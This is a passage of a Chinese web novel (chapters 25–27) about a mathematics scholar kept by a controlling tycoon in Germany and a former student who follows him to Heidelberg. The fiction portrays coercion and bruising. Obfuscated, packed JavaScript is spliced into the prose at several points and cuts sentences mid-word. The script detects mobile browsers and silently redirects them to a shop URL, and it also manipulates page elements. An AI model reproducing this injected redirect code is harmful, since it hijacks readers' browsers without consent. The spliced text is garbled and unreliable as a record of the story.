三月的柏林还在冬天的尾巴上,屋外冷风阵阵,室内燃着壁炉,厅太大还架了一个火盆,无烟的松木枝哔啵燃烧,只有清香在空气里弥漫。 曾闰成穿着一件黑色高领毛衣,一条格纹西裤,软底休闲鞋,既不过分随意失礼,也不算隆重刻意,气质当得起矜贵二字,李景麟是深知他根底的,有时候都好奇,那样的穷山恶水竟然能滋养出这样的丰神俊朗,也算奇迹了。 个子高瘦,一头栗棕色卷发的青年看见他,眼睛里燃起狂热的火焰,兴奋的跑到楼梯口,对着他输出了一连串法语。 曾闰成德语勉强能听能看,不太会说,法语是一点也不懂,李景麟笑笑,过来牵他的手,省略了前面那些赞美的话,“他想给你画张肖像。Colas,是法国当代画家,以写实油画闻名,他的作品你ins上一定见过,他最近在德国旅居。” 得到首肯后,Colas立马跑到一边捣鼓起他带来的一大堆画板画架油画颜料起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422354|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李景麟搂着他的肩膀,曾闰成暗暗的挣扎一下,纹丝不动,不过他将他带到那些人中间,便放开了他,一一给他介绍认识。 样貌有典型日耳曼人特征的中年男人上来跟他握手,他高鼻深目,五官粗犷,头顶微秃,“Alex,我在哈佛的校友,他是本地人,回头存个号码,遇到紧急的事直接找他。” 言下之意,这人在本地有钱有势,确实也是一副成功商人的模样,胳膊上还挽着一个艳光四射的金发大美女,上前热情的给了曾闰成一个拥抱,还吻了吻他的面颊。 “去年的环球小姐……第几名来着?”李景麟问Alex,Alex大笑着拍了拍美女的丰臀,用英语回答,“我也不知道,你可以叫她德里亚,她是委内瑞拉小姐。” 最后一位是位气质卓绝的中年女性,英德混血,有着柔顺但卷曲的亚麻色齐耳短发,一双蓝灰色的眸子闪烁着迷人的光彩,她竟然是一位小说家,而且作品得过一次布克文学奖一次都柏林文学奖,这两个都是文学界颇有含金量的奖项。 曾闰成读过她写的小说,文字很优美,李景麟叫她Amanda。 她握着曾闰成的手,“Jasper,a beautiful name,”她笑着说,“Your eyes are beautiful.”李景麟在一旁接口,“But my eyes are more beautiful.”阿曼达大笑起来,“They are so lovey-dovey.”曾闰成只能佯装害羞的笑笑。 他们聊的是一首英国小诗,“你的眼睛很美,但我的眼睛更美,因为我的眼里有你。”所以阿曼达说他们秀恩爱。 李景麟介绍曾闰成的时候,用的是“This is my other half.”另一半的意思,其实曾闰成觉得“lover”也就是情人还贴切点,不过他也不会去自讨没趣就是了。 曾闰成是个慢热的人,即使很欣赏阿曼达,也不会特别热情的凑上去聊天,正好答应了克劳斯让他画像,便坐在窗边克劳斯选定的位置上,按他要求随意交叠着双腿,手搭在椅子扶手上,神情散漫的看着窗外。 这样的场合,苏秘书的能干周到体现得淋漓尽致。唱片机里播放着小提琴乐曲,李景麟和他的哈佛校友安排在厅中主座,她奉上Cohiba Behike(古巴雪茄),供两位霸总品鉴闲聊,并配以威士忌润喉。还贴心的为一旁陪坐的德里亚准备了低度数的龙舌兰和甜品。 又亲自陪着阿曼达,参观庄园的藏书室,交谈里不时提到对阿曼达几部作品的看法,没有过分恭维,见解有独到之处,令阿曼达谈兴愈浓。 两位厨师,一做日料,一做法餐,随时供应各类美食。食物的香气、悠扬的乐曲、喁喁低语声交缠在一起,是冬日午后的美妙篇章。 曾闰霞穿着一条收腰厚呢质地的茶歇裙,小鹿一般跑进大厅里,跑到李景麟身边,冲亚历山大说了声“Excuse me”,然后附耳低声问了李景麟几句,李景麟笑着点了点头。 曾闰成没有留意到这个动静,他眼睛一直看着窗外花园里的景色,随着冬天的离去,黄水仙和紫水仙悄悄冒出了一点头,星星一样点缀在嫩绿的草坪之间。 而甬道的尽头出现了两个熟悉的身影…… 25. 第 25 章 傅廷恩和江永安的身影出现在大厅门口的时候,其实不止曾闰成,李景麟也有一点惊讶。 曾闰霞在柏林念过半年国际学校,偶尔也会带同学回来玩,她说两个朋友,他以为是久未见面的同学,庄园这么大,厨师又闲着,邀请几个小姑娘来喝个下午茶,当然没什么问题。 看着曾闰成不悦的神色,这下更难哄了!他难得心虚的叹了口气,作为主人还是有风度的起身,对两个世侄的到来表示欢迎。 傅廷恩和江永安奉上一瓶佳士德拍卖行拍来的酒作为到访的礼物,穿着也比较正式,明显地有备而来。 “叨扰李叔叔了,上次和小霞在巴黎分别,她一直希望我们可以来看她。”江永安这话其实是解释给曾闰成听的,“真是冒昧打搅了。” “怎么会,都是几个熟悉的朋友,住一晚再走。”天已经完全黑了,白天还有一点暖意,早晚温差大,北风在屋外飕飕的吹。 这个点来了,人不留客天留客。妥帖的苏秘书自然去吩咐多安排一间客房,又让厨师开始准备晚餐。 李景麟介绍了一下在场的众人,作为牛津和剑桥的高材生,又都长得高大俊俏,傅廷恩和江永安当然不会受冷落。 不光曾闰霞陪在一旁递吃递喝,就连德里亚也丢下她的秃头宝贝,过来围着两个帅哥,说要给他们介绍女朋友。 原本醉心书海的阿曼达也走近,跟他们聊起牛津剑桥获得过诺贝尔文学奖的一些文坛巨匠。 只有克劳斯和曾闰成没有动,一个眼里只有他的艺术创作,一个实在不知道该说什么好。该说的都已经说尽了。 他托腮望着窗外,目光在暗夜里搜寻,不知道这黑暗模糊的一团里能不能扯出一条纯粹的路来。 傅廷恩的目光不自觉的飞向窗边坐着的身影,江永安在他耳边低声提醒:“你要不要照照镜子?看看你的眼神!克制点!”他恼怒的踢他一脚,“让李景麟起疑心,不是你完了就是他完了!” 好在苏秘书很快来请几位贵宾用餐,杯盘碗盏交叠的清脆声掩盖了异动的心跳。 可是傅廷恩即使不抬眼,也忍不住留意着主座和他右手边那个男人的一举一动。 “威士忌度数太高了,给他换白兰地。”李景麟低声吩咐一声,苏秘书立刻端了一杯琥珀色的液体替换下了曾闰成手边原本的澄红。 曾闰成没有抬头也没有说话,傅廷恩能够感受到他低落的情绪。但是李景麟切了一片牛肉递到他嘴边,他也没有异议的吃了,似乎对李景麟这种强势的作风习惯了逆来顺受。傅廷恩不自觉的握紧了刀叉。 吃过晚餐,李景麟和Alex、阿曼达玩□□,Tina充当荷官。 厅侧摆着一台施坦威的三脚架钢琴,傅廷恩百无聊赖的随手一弹,柔和宁静略带感伤的曲调倾泻而出。 江永安叹口气,这哥们真是no zuo no die,伸手就是《罗密欧与朱丽叶》,真是生怕别人不知道他失恋了似的。 他只能起身,就着音乐的节拍,邀请曾闰霞跳舞。小姑娘当然很乐意在心上人面前展现曼妙身姿,裙摆在大厅里飞扬。 德里亚看到他们翩翩起舞,也来了兴致,走过来凑热闹。少了舞伴,她来拖曾闰成,克劳斯的创作已经接近尾声,早就不需要模特一直坐那了。 傅廷恩看曾闰成愿意起身,又换了一首《留声机圆舞曲》,明快抒情,轻盈优美。 曾闰成听着钢琴曲,郁结的心绪好像放开了些许,这是他第一次听傅廷恩弹钢琴,而他也很久没有跳过舞了。 他绅士的向德里亚行了个礼,拉着她的手跳了一曲华尔兹。他修长的身段十分优雅,步伐间也潇洒自如,德里亚跳完一曲意犹未尽,“Do you tango?” “Por una cabeza?” “Yes!”德里亚开心的大叫着问傅廷恩会不会弹那首经典的探戈舞曲《一步之遥》。 傅廷恩点点头,修长的手指在黑白色琴键上翻飞,韵律感极强的旋律开始在大厅里流淌。 曾闰成的身躯没有李景麟那么魁,也没有傅廷恩那么高,他身段修长偏瘦,是非常合适的舞伴,而矜贵内敛的气质和德里亚的美艳火辣搭配在一起,莫名有种性|张力十足的感觉。 曾闰成和德里亚一个对视,交换了一个笑容,探戈本来就比华尔兹更随意,更适合用来放松,舞步不必十分标准,有默契就能跳得很有味道。 两人舞姿轻盈,脚步流畅,每一个转身每一次跳跃都充满了诗意,连阿曼达都忍不住丢下手里的扑克认真欣赏起来。 江永安站一旁看着,觉得兄弟这恋爱脑确实也不是长得毫无来由,这搁谁挡得住呢? 哎,他以前怎么没觉得男生跳探戈是这么性感的一件事情呢?嗯,决定了,回了伦敦一定要找老师学一下,作为纯零号不能放过这么增添魅力的一个项目。 一曲跳完,德里亚攥着曾闰成的那只手不肯松开,另一只手放在胸口,夸张的娇呼,“oh,I’m falling for you.”(我要爱上你了)外国人一向比较爱夸张。 曾闰成弯弯唇角,“It’s my pleasure.”(这是我的荣幸)顺势弯腰,将牵着的那只手送到唇边轻轻一闻,并没有吻到手背,是标准的闻手礼,桃花眼浅浅一勾,说不出的魅惑难言。 江永安在一旁被曾闰成不轻易展露的一面惊得目瞪口呆,这哥们很会啊……真的是弯的吗?这风流倜傥的模样,这勾人神魂的小表情,要俘获千万少女的芳心不是分分钟的事? 曾老师,你实在不该去教书,进军娱乐圈估计比现在在教育行业建树大得多! “闰成,过来看我牌,”李景麟的声音传来,带着点漫不经心,却让人听得出他的不悦,“来看看,该不该all in?” 曾闰成愣了一下,脸上的笑容淡下去,却还是顺从的走了过去。 他刚跳完舞,有点热,无意识的撸起了一只衣袖,一道紫色的箍痕赫然出现在他的手腕间,即使他立马放了下来,那惊鸿一瞥已经跟闪电一样击中了江永安的眼睛。 他有些不敢置信的看一眼那穿着黑色高领毛衣的背影,再转头看向钢琴后坐着的傅廷恩。 后者原本愉悦的表情在一瞬间被惊怒所取代,显然也看见了那道伤痕,他的面孔一片煞白,眼眸间却升腾起昭昭怒火。 江永安赶紧飞扑过去,趴在琴架前,用身体挡住傅廷恩的视线,“廷恩,要不要出去散散步?这屋子里有点热哈,”转身冲打牌一群人讪笑,“李叔叔你们玩,我跟廷恩出去走走。”然后扒拉着硬把傅廷恩拖出去了。 “你想干什么傅廷恩?你要冲上去打架吗?你冷静点!”夜晚的郊区小道,静谧安宁,两人站在了街道旁一株椴树下,江永安尽量压低了声音。 “我冷静不了!他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李景麟低头在他发间深深的吸了一口,“嗯,这个洗发水香味不错。”淡淡的柑橘清香。 两个人随着乐曲轻轻迈动步伐,身体是依偎的姿势,目光却并不交融。 李景麟放在他腰上的右手,顺势向下,在挺翘的臀上轻掐了一把,眼睛在他洗浴后格外清爽的面庞上流连,“实在是这么清纯的一张脸,”他啧啧的感叹着摇头,“却总比我想象的要更加勾人。” 他胸口漾着三分怒火,他很不乐意,曾闰成风情十足的一面被其他人窥见,那是偶然喝醉后,他李景麟的专属。如果他在别人面前展现,在他看来就与勾|搭无异。 李景麟回想起大厅里一幕幕,“不止那个什么小姐,我看你那两个学生看你的眼神也有点不对劲……”他一向敏锐,并没有忽略傅廷恩和江永安胶着在曾闰成身上的视线。 但更多还是觉得,是曾闰成不轻易展露的一面导致的后果。毕竟他的男人如果露出那番魅惑的神情,的确没有谁能把目光从他身上移开。 这个晚上,曾闰成带了那么一丝丝的放纵,或许是音乐的魔力,又或许是绞缠不清的关系,让他突然有些不管不顾,想喝酒就喝了,想跳舞就跳了,不想去装老实装乖顺。 他听李景麟将话题扯到傅廷恩和江永安身上,不由得松开手,皱眉想要走开,“不要瞎说……” 李景麟却一把将他拉回来,紧贴在身上,“商场混了这么多年,我这双眼睛从来没有出错过。”他修长的手指点了点眼睛的位置,“以后不许再跟这两个人见面,小霞那里我会去说。” 手掌顺着曾闰成睡衣的领口摸进去,一把扯开,“一双|腿今天还能跳得这么带劲,看样子我昨晚上不够尽力……” 26. 第 26 章 第二天的下午,客人陆续离开,曾闰成从早餐到中餐到送客一直没有出现,这在正常社交确实是比较失礼的了,之前没有介绍认识也就算了,昨晚才共度了一个愉快的夜晚,今天就不见人影。 其他人还好,克劳斯和德里亚都表示想去慰问一下李总裁“生病”的half another,不过在主人委婉的谢绝后,也只能怏怏离去。 傅廷恩和江永安站在客房的玻璃花窗后面,看着庭院里寒暄告别的一群人。 “哥们,我们也得走了。”江永安提醒傅廷恩。 “不行!我一定要去见见他。”曾闰成一直没露面,傅廷恩心里有种不太好的预感,一上午忧心仲仲。 “李景麟不会肯的,你没听那什么,委内瑞拉小姐在餐桌上提出要去探望一下生病的人,他怎么说的?‘实在抱歉亲爱的德里亚小姐,我替闰成感谢你的关心,但是为免传染,探望就免了,下次……’” 江永安学着李景麟说话的强调,“啧啧啧,不就昨晚上陪人家跳了两个舞吗?他连女生都这么提防,绝不可能答应你的探视。”江永安不敢太刺激恋爱恼,能让李景麟不让他露面,还不知道被折|腾得有多狠…… “他这是禁锢人身自由,我不管,我现在就要去找曾老师,难不成他还能打我?”傅廷恩焦急的踱步,甩开手就想下楼去,客楼和主卧之间要穿过一个庭院。 江永安一把拖住,“哎,不管怎么说,在别人家里乱走是失礼的。再说,”他点他死穴,“他是不能拿你傅公子怎么样,但是会对曾老师怎么样就很难说,你没看他昨晚上那个脸色……” “可是,我今天无论如何要见到他,”傅廷恩挣开他的束缚,江永安往窗户上一瞅,“呃?”他松开手,“李景麟竟然也走了?” 送走其他人后,Alex指着天色不知道跟李景麟说了一堆什么,反正几番拉扯之后,三人上了一台房车,保镖和管家紧随其后,管家手里提了高尔夫球包。“看样子是那个Alex拉他打高尔夫。你赶紧的!” “嗯。”傅廷恩踢踢踏踏的皮鞋声叩响大理石地板,穿过庭院,进入主楼,足音消失在羊毛地毯之中。 他径直走到二楼东边的主人房门前,轻轻敲了敲,没有回应,伸手扭动门上的铜把手,厚重的木门无声无息的打开了,室内恒温,即使光线暗沉也看得到的豪华宽敞。 他向床的方向走近,一丝如兰如麝的气息在空气中萦绕,这两年的浪荡生活,让傅廷恩明白这一丝气息意味着什么,心里翻搅似剧痛起来。甚至让他停下脚步,微微弯了一下腰,才勉强抑住那股酸楚。 房间拉了窗帘,暗沉沉的,只有交界处露出一线天光,黯淡的投射在床上半卧的人影身上。 傅廷恩的脚步踩在地毯上悄无声息,随着靠近,那张熟悉的面孔出现在厚实的枕堆里,他似乎陷入了梦魇,牙齿咬着嘴唇,浓睫微微颤动,长眉皱起,脸上是一种痛苦纠结的表情。睡袍的领口敞开,半露的胸膛上青紫交错的痕迹一直蔓延到脖颈。 看着是情色靡靡的场景,傅廷恩却完全无法控制自己的情绪,眼泪一下子就掉下来,猝不及防的摔落在那赤|裸的胸膛上,床上半睡半醒的人似被烫到,猛然睁开了眼睛,和青年的泪眼对视在了一起。 空气彷佛凝固了一般。 却在此时,门口又传来轻轻的敲击声,曾闰成怔愣的眼神里闪过一丝慌乱,他指了指衣帽间。 傅廷恩愣住,想要开口,曾闰成已经用祈求的神色看着他,他对他这种神色是毫无抵抗力的,依言走进了衣帽隔间。 两三阵敲门声过后,一个窈窕的身影闪了进来,是苏秘书,她将手里端着的一盏参汤放在床头。又按了一下床头按钮,电动窗帘打开了遮光层,房间里稍显亮堂了些许。 曾闰成拉了一下睡袍,脸庞偏向另一边。 “闰成,我是来跟你道歉的,跟你导师的沟通是我在进行的。你申请到海德堡大学的博士不容易,德国人又比较严谨,由你去提出更换半工合同的话,怕影响他对你的印象。” 苏秘书的语调永远诚恳亲切,语音不疾不徐,满满的都是为你着想,“李总不会管这些细枝末节,是我没有提前跟你沟通,想着马上会见面,再当面跟你解释……” “你不用替他描补,我不是第一天认识他。”曾闰成开口,声音带着点低沉沙哑,“没什么事你就出去吧,我想休息一下。” 苏秘书轻叹口气,站起身,却没有挪动脚步,“闰成,你跟了老板也快三年了,他是个什么样的人想必你也很清楚。” “之前你说永不相交的时候,他也没有任何打扰你的举动。不管出于什么原因,你既然选择了接受,就应该摆正自己的位置。何况,老板对你的感情相信你是明白的,骨髓移植那段时间,即使你在医院,只能隔着玻璃窗探视,他也会飞来柏林,再忙,在飞机上办公,也会把时间挤出来。我跟了他这么多年,没有见过让他更上心的人……” “苏秘书,我是学数学的,”曾闰成打断她,转成平躺,“如果谈感情,没有最没有更,只有有且仅有!”他眼睛投向天花板,“只有在一段交易里,我才需要摆正自己的位置。” 苏秘书一时怔住,不自觉的说了一声sorry。静了半晌,换了一种更为诚恳的语气,“闰成,日子还长,老板是脾气不好但对你的心意是绝无敷衍的。” 她顿了顿,“集团近期一直在跟梅奥诊所和克利夫兰医学中心沟通接洽,想为小霞研制更好的靶向小分子药物。”她的目光不动声色的在曾闰成面庞上转动,如愿看到他淡漠的眼神起了波纹。 “所以半工合同确实更适合你照顾小霞的身体,老板不希望你在外住宿的心情,想必你也可以理解。” 片刻之后,曾闰成才出声道,“是,我理解并且接受。你可以出去了。” “好,你好好休息,我让Tina来给你按摩放松一下。” 苏秘书带上门出去了,傅廷恩从衣帽间走出来,两人的目光无声对视。 傅廷恩走到床边,蹲下身去,凝视着曾闰成那双比星辰还要明亮的眼睛,突然间就泪如滂沱。 他不是傻子,甚至还很聪明,苏秘书的只言片语已经让他明白了前因后果。 他一个字也没有说,只是用颤抖的手解开胸前的两颗纽扣,一块翠碧点缀在白皙坚硬的胸膛上,是那块平安扣。 当年他负气扔出了窗口,却还是满花园的翻找了回来,这是他留给他唯一的念想,他舍不得丢掉。 曾闰成是吃软不吃硬的,当这个大男孩无声的在他面前痛哭,把他精心挑选的礼物一直随身佩戴,即使他没有给予任何回应。 他很难做到不动容。“廷恩,”他微微前倾,伸手摸了摸那块平安扣,“你先回去,回伦敦去吧。” 傅廷恩攥住他的手,疯狂的摇头,哽咽着说不出话来。 “廷恩,”曾闰成叹口气,“我一直很想跟你说声对不起,或许我不该隐瞒你,但是我真的不想让你知道这些……” 没有人不要面子,他窥见了傅廷恩对他的爱慕,甚至隐约清楚自己内心的悸动。因此愈发不愿意让他知道他身处一段交易中,他在出卖着什么…… 然而纸终究包不住火,这种难堪在命运的安排和傅廷恩执着的探究下还是无可避免的暴露人前。 门口传来轻轻的叩响,Tina提着按摩箱走了进来,看到房间里有别人吓了一跳。“闰成……”甜美的港音呐呐的,“有客人啊……” 曾闰成低声道:“廷恩,回去吧。”不要再来了。看清了其实也好,或许以后就不会再搅和进这不堪的关系里,而他也能平静的接受自己选择的路。 傅廷恩站起来,深深的看了他一眼,抹了一把脸上的泪水,退出了房间。 他经过Tina身畔,Tina目不转睛的看着他,立刻认出他是昨天弹钢琴的那一位。 她昨晚充当荷官,站在发牌的位置,刚好可以一眼看到傅廷恩。帅哥养眼,谁不想多看两眼,然后她就发现这个帅哥手下钢琴曲无需伸目自然流畅,眼神则毫无遮掩的凝注在曾闰成身上。 今天又看到这一幕,顿时有一些不好的预感。 她一边给曾闰成按摩整条小腿,一边低声说道:“闰成,你可千万不要被美色迷惑,老板如果发火是很可怕的……” 但凡剧烈的运动过后,肌肉都会紧张,作为专属按摩师,Tina是见过李景麟暴虐的那一面的,而且据小道消息,那次的血腥场面只是与商场上的事有关,如果牵涉到感情……简直让人不敢想。 “Tina,他只是我曾经的学生,”曾闰成斟酌了一下,“你能不能不要跟苏秘书说这件事情,以免造成误会。” Tina点头,“闰成你放心,这是你的私事。我只做自己分内事。”港人一向十分注重个人隐私。 但是女人的八卦天性让她不免内心暗自咋舌,还是师生!难怪这个帅哥看起来年纪要小一些!哎,可惜了,不然看他看向闰成的眼神,一定会很珍惜,不会像老板这么粗鲁。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422356|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着曾闰成四肢重叠的青紫痕迹,不由得感叹。 —————————————————————————— 苏秘书找到客楼,江永安隔着老远喊她,“苏姐,哎呀,苏姐怎么亲自过来?”江永安一个老妈两个亲姐,早练出了一张甜嘴。 “江少爷。”苏秘书不假辞色。 “哎呀,苏姐别这么见外嘛,叫我永安就好。” “另一位,傅少爷呢?”她转目四顾。 江永安指指楼下,“那呢。” 苏秘书转头看到傅廷恩从庭院走上客楼,身后跟着曾闰霞,小姑娘追着他跑。 “廷恩哥,你们就要走了吗?” “廷恩哥,你下次什么时候来看我呀?” “廷恩哥,伦敦很远吗?我能去看你吗?”叽叽喳喳没有停歇的时候。 等两人走过来,苏秘书扬声喊Mary,“带小姐去用下午茶,先吃一点东西,过会再吃药。”她用英语吩咐道。 曾闰霞只好跟傅廷恩道别,又嘱咐他一定记得WhatsApp上面回消息给她,才依依不舍的跟着菲佣走了。 苏秘书将手里的礼盒递给江永安,“谢谢二位带来的美酒,这瓶是李总吩咐我准备的回礼。” 江永安瞄一眼盒子上的英文,是苏富士拍卖行拍出的一瓶威士忌,上面有各种标注,价格大概是他们送来那瓶的十倍。 “机票已经给二位订好了,等会司机送二位去机场时间刚刚好。”完全不需要他们提供任何信息,机票就已定好,是苏秘书能干的体现。 “很抱歉李总不能亲自送二位了,但是李总一般都在金城,希望下次见面是在金城。” 她笑眯眯的表达了她的老板不希望在国外再见到他们的意愿,看一眼始终木着一张脸的傅廷恩,“再会。” 她转身走了,伴随着高跟鞋清脆的足音,袅袅婷婷的身影消失在走廊尽头。 —————————————————————————— 江永安原以为要费一番口舌才能让说服傅廷恩离开柏林,没想到傅廷恩二话不说就上了飞机,虽然冷着脸,情况也已经比他想象的好太多。 “这个李叔叔好阴险,自己前脚走,后脚就让苏秘书来赶我们!真是一点缝隙都不留!” 上了飞机江永安还在忍不住吐槽,“你这么听话的吗?让你回伦敦就真回去了?是不是想通了?哎,咱大伦敦可是腐国之都,帅哥真是要多少有多少,又到春季学期开学季,多少鲜嫩小学弟……” “对!已经开学了!我要抓紧时间!”傅廷恩喃喃自语,又一把抓住江永安,“永安,你一定要帮我!” “帮……帮你什么?”江永安被他脸上的热切都弄结巴了,自己只说了个开学了吧,难道是启动了什么魔法咒语? “这个学期我要交换到海德堡大学去!” “什么?!”如果不是在飞机上,江永安就要跳起来了,“你要从牛津的基督教会学院交换到海德堡去?你知道每年有多少想要交换进来的吗?!” “我知道!但我一定要去海德堡,我要……”他抬起头,眼眶又泛红了,“去他身边。” 江永安无了个大语,按住他脑袋,作势扒开他一头黑发,“来来来,让我看看顶级恋爱恼到底怎么长的?让我长长见识!” 傅廷恩挡住他想要肆虐的双手,江永安无奈的叹口气,“你知道一般交换生是这个学期申请,下个学期开始的吗?” “我知道,所以你得帮我。” “怎么帮?” “等会你开车,最快速度送我到学院交流处。”傅廷恩看了一下手表。 从柏林飞伦敦机场一个多小时,他们在机场取了自己的车,直接往牛津大学开,又是一个小时。 傅廷恩一上车,就从扶手箱里拿出苹果电脑,噼噼啪啪一顿操作,然后拿起电话开始狂打,一会英语一会德语一会京腔普通话,表情、说话的态度、内容也随着交流对象的不同各种变换。 江永安一路欣赏戏剧之变脸一路狂飙,终于成功的赶在学院交流处下班之前,把傅廷恩送到了那栋古老的建筑楼下。 看着傅廷恩飞奔而去的背影,江永安不禁回想起在凌倩的生日party上,傅廷恩当众宣布喜欢男生的那一幕,这男人确实一直都很勇! 如果说之前留意傅廷恩只是因为他的身材长相和能打,那么那次之后确实是很想靠近这个人,只可惜他的心里从那个时候就有了别人,再也挤不进去了…… 27. 第 27 章 曾闰成完全没有想到会在海德堡遇到傅廷恩。 改成半工合同以后,他的工作任务一下子就轻省不少,如果有特别紧要的数据,他会自动加班一两个小时,但一般到中午就结束了。 海德堡大学有多个食堂,作为美食荒漠,德国餐食是仅次于英国的难吃,但是海德堡大学的食堂据说在一线高校里头还算不错的,至少热食很多,品类也算丰富。 曾闰成对于吃一贯不太挑剔,中餐一般随意吃一点水果沙拉牛柳肉饼之类,然后在学校附近散散步,在太阳下山之前,坐车回法兰克福。二手福特不知去向,司机每天准点接送。 四月初的海德堡有着迷人的春光,碧蓝的天空压得很低,一团团白云棉花糖似的缀着,好像伸手就能揪下来。 各类灌木树丛重披浓绿,砖红色的屋顶点缀其间。内卡因河欢畅奔流,河堤两岸绿草如茵,手工编织的毛毯一般,齐整密实,散发着清香。 曾闰成经常穿着薄款的冲锋衣,蹬着牛筋鞋,用脚步丈量这座小城,遇到景美又安静的地界就随地而坐,驻足欣赏,时不时拿出随身水杯抿上一小口。 没人知道他这随身水杯里装的不是水,而是度数较低的日本清酒。上午在实验室一般喝咖啡喝水,下午一个人他就会带上这个秘密水杯游走四方。 微醺的快乐他是最近才感受到的,日本清酒度数偏低,售价也很便宜,不记得哪次中午吃饭,随手拿了一只樱花清酒,然后整个下午都在晕乎乎的眩晕中度过。 头脑其实是清明的,路上碰到同事,能很清晰的打招呼交流,后续同事也没有询问过什么,可见是没有看出什么异样。 他对着镜子照过,就是眼圈微微有点红罢了。可周围的一切都蒙上了一层滤镜,就连每日流连的景色也变得分外生动起来。脑子里更是一片模糊,什么烦恼也没有。这种感觉简直让人迷醉。 他于是准备了一个不锈钢小水杯,随身装上二两,往冲锋衣口袋里一塞,无聊的下午满城游走,时不时来上一口。 有时候累了就河堤上一趟,两手枕在脑后,一条腿屈膝横放,眼睛看着天空,不知不觉就睡着了。 德国的治安在整个欧洲都算相当不错的,海德堡作为大学城人文优良,曾闰成也不会随身携带财物,有时候手机都不拿,生物钟会自然把他叫醒,让他踩着落日余晖去和司机约定的地点,司机载他回法兰克福吃晚餐。 曾闰霞也开始进入国际学校读书,尽管她的身体还是有诸多不便,比较容易感冒发烧,脸上有时候会冒出一些痤疮之类,但是总体还是比较稳定。她不愿意每天呆在家里,想去学校交一些朋友。 主要是德国的学校课程确实很轻松,而且人文关怀做得特别到位,老师了解到曾闰霞的身体状况之后,特意避开她召集班上的孩子开了小会,让大家在关心谦让的同时不要谈论跟白血病相关的话题。同学们也确实秉持着友善爱护的态度,所以曾闰霞很愿意去学校。 但她仍时不时的问起傅廷恩,餐桌上也会跟曾闰成谈论跟傅廷恩有关的事情。 “廷恩哥经常不回我消息,不知道在忙什么。”曾闰霞闷闷不乐的用叉子戳着手里的食物,“廷恩哥在学校好受欢迎,我看到过不同的女生在ins上发他的照片。” “他去年大学生网球联赛拿了奖。” “他前年的冬天去阿尔卑斯山滑雪了,廷恩哥穿滑雪服好帅!”她在网络论坛搜索着傅廷恩的点点滴滴,时不时拿出来跟曾闰成分享。 导致曾闰成在海德堡校园碰到背着书包手上还捧着一摞资料的傅廷恩时,以为是他妹念叨太多让他出现了幻觉,看到个身高腿长五官深刻的帅哥就以为是傅廷恩。 他面无表情的绕过拦路的帅哥,步履闲适的晃荡出了门楼,踏上了海德堡老桥,从卡尔特奥多的雕塑下走过,习惯性摸了摸桥头的铜猴。 驻足老桥之上,欣赏了片刻风景,又摸出水杯喝了两口,完全不知道身后跟了个亦步亦趋的身影。 他下了桥,走到南面向阳的坡地,往草地上一趟,任四月和煦的阳光将他包裹。 身旁传来悉悉索索的动静,他睁开眼转头,是傅廷恩山峦般起伏的侧脸,“廷恩。”他低低唤了一声,又转头闭上了眼睛。 片刻之后,他猛地坐了起来,那身影也跟着坐起,他揉了揉眼睛,傅廷恩在无边春色里冲他微笑,“曾老师。” “真的是你?你怎么在这里?”他掏出手机看了看,周二的下午四点,“今天没有课吗?” “嗯,我们上课本来就很自由,”傅廷恩点点头,“不过我今天下午是上了两节课才跟着你出来的。”他扬了扬手里的资料,又重新把它垫到脑袋下边,学曾闰成开始的样子,两手交叉着躺下。 “你在这里上课?”曾闰成惊讶的睁大了眼睛。 “嗯,我申请到了交换生,要到这边学习三个月。” 曾闰成看着他脸上洋溢的笑容,恍惚间又忆起那双深情凝视的泪眼,一时间头脑里各种念头纷至沓来,他赶紧摸出水杯喝上两口,轻喘了口气,才低声道,“廷恩,你是在干什么?放弃那么好的学校……” “海德堡大学并不差,56位诺奖19位布莱尼兹奖,你别看它QS排名不如牛津,是因为德国人根本就不care……” “可是没有必要!”曾闰成打断他,“你当初为了申请牛津花费了多少时间心血!你敢说现在交换来海德堡是出于对学业的考虑?” 傅廷恩看他一脸恼怒,赶紧解释,“我只是来交换学习一段时间而已,之后还是要回牛津的,我答应了我妈一定让她参加我的毕业典礼。” 牛津的毕业典礼有十足的仪式感,傅太心心念念要参加。 曾闰成不会被他糊弄,“那你好端端的交换到这里来干吗?” 傅廷恩翻身坐起来,一双眼睛凝视在曾闰成脸上,立马就发现了不对,他凑近闻了闻,“你喝酒了?” 曾闰成别开脸,“你别打岔!” 傅廷恩只能收回前倾的身体,盘腿坐好,“老师,你说过人生是一条直线,没有必要给自己设限。我十八岁的人生目标确实是考上牛津而且实现了。但是现阶段我的人生目标……” 他突然有点害羞似的垂下眼睛,“我调整了我的人生目标,所以我来到了这里。” 竟然已经被发现,曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 